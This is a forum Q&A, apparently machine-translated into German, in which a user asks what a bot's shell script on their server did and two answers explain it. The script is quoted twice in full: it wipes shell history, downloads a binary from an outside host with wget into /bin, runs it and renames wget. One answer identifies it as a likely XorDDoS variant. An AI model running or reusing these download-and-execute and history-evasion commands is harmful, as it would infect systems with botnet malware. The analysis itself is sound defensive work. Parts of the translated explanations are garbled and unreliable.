Kann mir jemand erklären, was der Bot versucht hat?

Question

PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 
unset HISTFILE HISTLOG HISTORY 
HISTFILE=/dev/null 
HISTSIZE=0 
cd /bin/ 
wget http://wesaem.co.kr/download/m/5414 -O acxxxhruvc 
chmod + x acxxxhruvc /bin/acxxxhruvc 
good http://wesaem.co.kr/download/m/5414 -O acxxxhruvc 
chmod + x acxxxhruvc /bin/acxxxhruvc 
sleep 2 
mv /usr/bin/wget /usr/bin/good 
mv /bin/wget /bin/good 
ls -la /etc/daemon.cfg 
exit 0 

Answer 1

Meine Kommentare sind inline unter

PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

unset HISTFILE HISTLOG HISTORY 
HISTFILE=/dev/null 
HISTSIZE=0 

cd /bin/ 

#download an executable 
wget http://wesaem.co.kr/download/m/5414 -O acxxxhruvc 
chmod + x acxxxhruvc 

#run the downloaded executable 
/bin/acxxxhruvc 
good http://wesaem.co.kr/download/m/5414 -O acxxxhruvc 
#it seems like it downloads an executable to overwrite the existing one 
chmod + x acxxxhruvc 
/bin/acxxxhruvc 

sleep 2 

#remove the wget application and overwrite the good application with it 
mv /usr/bin/wget /usr/bin/good 
mv /bin/wget /bin/good 

list the details of this daemon.cfg file 
ls -la /etc/daemon.cfg 

exit 0 

Grundsätzlich ist die gute Anwendung mit wget überschrieben, die ich denke, das gleiche wirkt.

Insgesamt macht es nichts, was Sie wahrscheinlich wollen. Könnte eine Malware sein.

Answer 2

Wenn Sie wirklich neugierig sind, nur die verdächtige Datei herunterladen (acxxxhruvc) und untersucht es (zB mit strings acxxxhruvc) oder es zu einem gewissen Scan-Service einreichen (zB VirusTotal)

In diesem Fall ist es looks like einig Variante XorDDOs